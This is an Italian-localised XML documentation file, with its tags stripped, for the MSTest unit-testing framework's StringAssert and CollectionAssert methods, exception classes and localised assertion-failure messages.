Stringa da cercare. - - - Stringa convertita con caratteri Null sostituiti da "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Funzione helper che crea e genera un'eccezione AssertionFailedException - - - nome dell'asserzione che genera un'eccezione - - - messaggio che descrive le condizioni per l'errore di asserzione - - - Parametri. - - - - - Verifica la validità delle condizioni nel parametro - - - Parametro. - - - Nome dell'asserzione. - - - nome del parametro - - - messaggio per l'eccezione di parametro non valido - - - Parametri. - - - - - Converte in modo sicuro un oggetto in una stringa, gestendo valori e caratteri Null. - I valori Null vengono convertiti in "(null)". I caratteri Null vengono convertiti in "\\0". - - - Oggetto da convertire in una stringa. - - - Stringa convertita. - - - - - Asserzione della stringa. - - - - - Ottiene l'istanza singleton della funzionalità CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Messaggio da includere nell'eccezione quando - non inizia con . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Messaggio da includere nell'eccezione quando - non inizia con . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Messaggio da includere nell'eccezione quando - non termina con . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Messaggio da includere nell'eccezione quando - non termina con . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Messaggio da includere nell'eccezione quando - non corrisponde a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Messaggio da includere nell'eccezione quando - non corrisponde a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Thrown if matches . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Messaggio da includere nell'eccezione quando - corrisponde a . Il messaggio viene visualizzato nei risultati - del test. - - - Thrown if matches . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Messaggio da includere nell'eccezione quando - corrisponde a . Il messaggio viene visualizzato nei risultati - del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if matches . - - - - - Raccolta di classi helper per testare diverse condizioni associate - alle raccolte negli unit test. Se la condizione da testare non viene - soddisfatta, viene generata un'eccezione. - - - - - Ottiene l'istanza singleton della funzionalità CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Thrown if is found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - è presente in . Il messaggio viene visualizzato nei risultati - del test. - - - Thrown if is found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - è presente in . Il messaggio viene visualizzato nei risultati - del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Messaggio da includere nell'eccezione quando - contiene un elemento Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Messaggio da includere nell'eccezione quando - contiene un elemento Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Messaggio da includere nell'eccezione quando - contiene almeno un elemento duplicato. Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Messaggio da includere nell'eccezione quando - contiene almeno un elemento duplicato. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando un elemento in - non è presente in . - Il messaggio viene visualizzato nei risultati del test. - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando un elemento in - non è presente in . - Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Thrown if every element in is also found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando ogni elemento in - è presente anche in . - Il messaggio viene visualizzato nei risultati del test. - - - Thrown if every element in is also found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando ogni elemento in - è presente anche in . - Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if every element in is also found in - . - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando un elemento viene trovato - in una delle raccolte ma non nell'altra. Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando un elemento viene trovato - in una delle raccolte ma non nell'altra. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - contiene gli stessi elementi di . Il messaggio - viene visualizzato nei risultati del test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - contiene gli stessi elementi di . Il messaggio - viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Messaggio da includere nell'eccezione quando un elemento in - non è un'istanza di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Messaggio da includere nell'eccezione quando un elemento in - non è un'istanza di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Determina se la prima raccolta è un subset della seconda raccolta. - Se entrambi i set contengono elementi duplicati, il numero delle - occorrenze dell'elemento nel subset deve essere minore o uguale - a quello delle occorrenze nel superset. - - - Raccolta che il test presuppone debba essere contenuta in . - - - Raccolta che il test presuppone debba contenere . - - - True se è un subset di - ; in caso contrario, false. - - - - - Costruisce un dizionario contenente il numero di occorrenze di ogni - elemento nella raccolta specificata. - - - Raccolta da elaborare. - - - Numero di elementi Null presenti nella raccolta. - - - Dizionario contenente il numero di occorrenze di ogni elemento - nella raccolta specificata. - - - - - Trova un elemento senza corrispondenza tra le due raccolte. Per elemento - senza corrispondenza si intende un elemento che appare nella raccolta prevista - un numero di volte diverso rispetto alla raccolta effettiva. Si presuppone - che le raccolte siano riferimenti non Null diversi con lo stesso - numero di elementi. Il chiamante è responsabile di questo livello di - verifica. Se non ci sono elementi senza corrispondenza, la funzione - restituisce false e i parametri out non devono essere usati. - - - Prima raccolta da confrontare. - - - Seconda raccolta da confrontare. - - - Numero previsto di occorrenze di - o 0 se non ci sono elementi senza - corrispondenza. - - - Numero effettivo di occorrenze di - o 0 se non ci sono elementi senza - corrispondenza. - - - Elemento senza corrispondenza (può essere Null) o Null se non ci sono elementi - senza corrispondenza. - - - true se è stato trovato un elemento senza corrispondenza; in caso contrario, false. - - - - - confronta gli oggetti usando object.Equals - - - - - Classe di base per le eccezioni del framework. - - - - - Inizializza una nuova istanza della classe . - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Classe di risorse fortemente tipizzata per la ricerca di stringhe localizzate e così via. - - - - - Restituisce l'istanza di ResourceManager nella cache usata da questa classe. - - - - - Esegue l'override della proprietà CurrentUICulture del thread corrente per tutte - le ricerche di risorse eseguite usando questa classe di risorse fortemente tipizzata. - - - - - Cerca una stringa localizzata simile a La sintassi della stringa di accesso non è valida. - - - - - Cerca una stringa localizzata simile a La raccolta prevista contiene {1} occorrenza/e di <{2}>, mentre quella effettiva ne contiene {3}. {0}. - - - - - Cerca una stringa localizzata simile a È stato trovato un elemento duplicato:<{1}>. {0}. - - - - - Cerca una stringa localizzata simile a Il valore previsto è <{1}>, ma la combinazione di maiuscole/minuscole è diversa per il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È prevista una differenza minore di <{3}> tra il valore previsto <{1}> e il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a Valore previsto: <{1} ({2})>. Valore effettivo: <{3} ({4})>. {0}. - - - - - Cerca una stringa localizzata simile a Valore previsto: <{1}>. Valore effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È prevista una differenza maggiore di <{3}> tra il valore previsto <{1}> e il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È previsto un valore qualsiasi eccetto <{1}>. Valore effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a Non passare tipi valore a AreSame(). I valori convertiti in Object non saranno mai uguali. Usare AreEqual(). {0}. - - - - - Cerca una stringa localizzata simile a {0} non riuscita. {1}. - - - - - Cerca una stringa localizzata simile ad async TestMethod con UITestMethodAttribute non supportata. Rimuovere async o usare TestMethodAttribute. - - - - - Cerca una stringa localizzata simile a Le raccolte sono entrambe vuote. {0}. - - - - - Cerca una stringa localizzata simile a Le raccolte contengono entrambe gli stessi elementi. - - - - - Cerca una stringa localizzata simile a I riferimenti a raccolte puntano entrambi allo stesso oggetto Collection. {0}. - - - - - Cerca una stringa localizzata simile a Le raccolte contengono entrambe gli stessi elementi. {0}. - - - - - Cerca una stringa localizzata simile a {0}({1}). - - - - - Cerca una stringa localizzata simile a (Null). - - - - - Cerca una stringa localizzata simile a (oggetto). - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non contiene la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a {0} ({1}). - - - - - Cerca una stringa localizzata simile a Per le asserzioni non usare Assert.Equals, ma preferire Assert.AreEqual e gli overload. - - - - - Cerca una stringa localizzata simile a Il numero di elementi nelle raccolte non corrisponde. Valore previsto: <{1}>. Valore effettivo: <{2}>.{0}. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {0} non corrisponde. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {1} non è del tipo previsto. Tipo previsto: <{2}>. Tipo effettivo: <{3}>.{0}. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {1} è (Null). Tipo previsto: <{2}>.{0}. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non termina con la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Argomento non valido: EqualsTester non può usare valori Null. - - - - - Cerca una stringa localizzata simile a Non è possibile convertire un oggetto di tipo {0} in {1}. - - - - - Cerca una stringa localizzata simile a L'oggetto interno a cui si fa riferimento non è più valido. - - - - - Cerca una stringa localizzata simile a Il parametro '{0}' non è valido. {1}. - - - - - Cerca una stringa localizzata simile a Il tipo della proprietà {0} è {1}, ma quello previsto è {2}. - - - - - Cerca una stringa localizzata simile a Tipo previsto di {0}: <{1}>. Tipo effettivo: <{2}>. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non corrisponde al criterio '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Tipo errato: <{1}>. Tipo effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' corrisponde al criterio '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Non è stato specificato alcun elemento DataRowAttribute. Con DataTestMethodAttribute è necessario almeno un elemento DataRowAttribute. - - - - - Cerca una stringa localizzata simile a Non è stata generata alcuna eccezione. Era prevista un'eccezione {1}. {0}. - - - - - Cerca una stringa localizzata simile a Il parametro '{0}' non è valido. Il valore non può essere Null. {1}. - - - - - Cerca una stringa localizzata simile a Il numero di elementi è diverso. - - - - - Cerca una stringa localizzata simile a - Il costruttore con la firma specificata non è stato trovato. Potrebbe essere necessario rigenerare la funzione di accesso privata - oppure il membro potrebbe essere privato e definito per una classe di base. In quest'ultimo caso, è necessario passare il tipo - che definisce il membro nel costruttore di PrivateObject. - . - - - - - Cerca una stringa localizzata simile a - Il membro specificato ({0}) non è stato trovato. Potrebbe essere necessario rigenerare la funzione di accesso privata - oppure il membro potrebbe essere privato e definito per una classe di base. In quest'ultimo caso, è necessario passare il tipo - che definisce il membro nel costruttore di PrivateObject. - . - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non inizia con la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Il tipo di eccezione previsto deve essere System.Exception o un tipo derivato da System.Exception. - - - - - Cerca una stringa localizzata simile a Non è stato possibile ottenere il messaggio per un'eccezione di tipo {0} a causa di un'eccezione. - - - - - Cerca una stringa localizzata simile a Il metodo di test non ha generato l'eccezione prevista {0}. {1}. - - - - - Cerca una stringa localizzata simile a Il metodo di test non ha generato un'eccezione. È prevista un'eccezione dall'attributo {0} definito nel metodo di test. - - - - - Cerca una stringa localizzata simile a Il metodo di test ha generato l'eccezione {0}, ma era prevista l'eccezione {1}. Messaggio dell'eccezione: {2}. - - - - - Cerca una stringa localizzata simile a Il metodo di test ha generato l'eccezione {0}, ma era prevista l'eccezione {1} o un tipo derivato da essa. Messaggio dell'eccezione: {2}. - - - - - Cerca una stringa localizzata simile a È stata generata l'eccezione {2}, ma era prevista un'eccezione {1}. {0} - Messaggio dell'eccezione: {3} - Analisi dello stack: {4}. - - - - - risultati degli unit test - - - - - Il test è stato eseguito, ma si sono verificati errori. - Gli errori possono implicare eccezioni o asserzioni non riuscite. - - - - - Il test è stato completato, ma non è possibile determinare se è stato o meno superato. - Può essere usato per test interrotti. - - - 